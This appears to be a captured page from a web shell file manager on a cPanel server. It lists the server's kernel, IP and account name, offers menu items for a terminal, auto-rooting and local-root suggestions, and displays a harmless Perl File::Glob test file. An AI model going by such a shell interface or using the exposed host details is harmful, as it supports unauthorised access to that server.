Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
File-Glob /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
basic.t
7.9
KB
-r--r--r--
2014-12-27 11:48
case.t
1.04
KB
-r--r--r--
2014-12-27 11:48
global.t
1.73
KB
-r--r--r--
2014-12-27 11:48
rt114984.t
650
B
-r--r--r--
2014-12-27 11:49
taint.t
540
B
-r--r--r--
2014-12-27 11:48
threads.t
1.55
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl BEGIN { chdir 't' if -d 't'; @INC = '../lib'; require Config; import Config; if ($Config{'extensions'} !~ /\bFile\/Glob\b/i) { print "1..0\n"; exit 0; } } use Test::More tests => 7; BEGIN { use_ok('File::Glob', qw(:glob csh_glob)); } my $pat = "op/G*.t"; import File::Glob ':nocase'; @a = csh_glob($pat); cmp_ok(scalar @a, '>=', 8, 'use of the case sensitivity tags, via csh_glob()'); # This may fail on systems which are not case-PRESERVING import File::Glob ':case'; @a = csh_glob($pat); is(scalar @a, 0, 'None should be uppercase'); @a = bsd_glob($pat, GLOB_NOCASE); cmp_ok(scalar @a, '>=', 3, 'explicit use of the GLOB_NOCASE flag'); # Test Win32 backslash nastiness... SKIP: { skip 'Not Win32 or NetWare', 3 unless $^O eq 'MSWin32' || $^O eq 'NetWare'; @a = File::Glob::glob("op\\g*.t"); cmp_ok(scalar @a, '>=', 8); mkdir "[]", 0; @a = File::Glob::glob("\\[\\]", GLOB_QUOTE); rmdir "[]"; is(scalar @a, 1); @a = bsd_glob("op\\*", GLOB_QUOTE); isnt(scalar @a, 0); }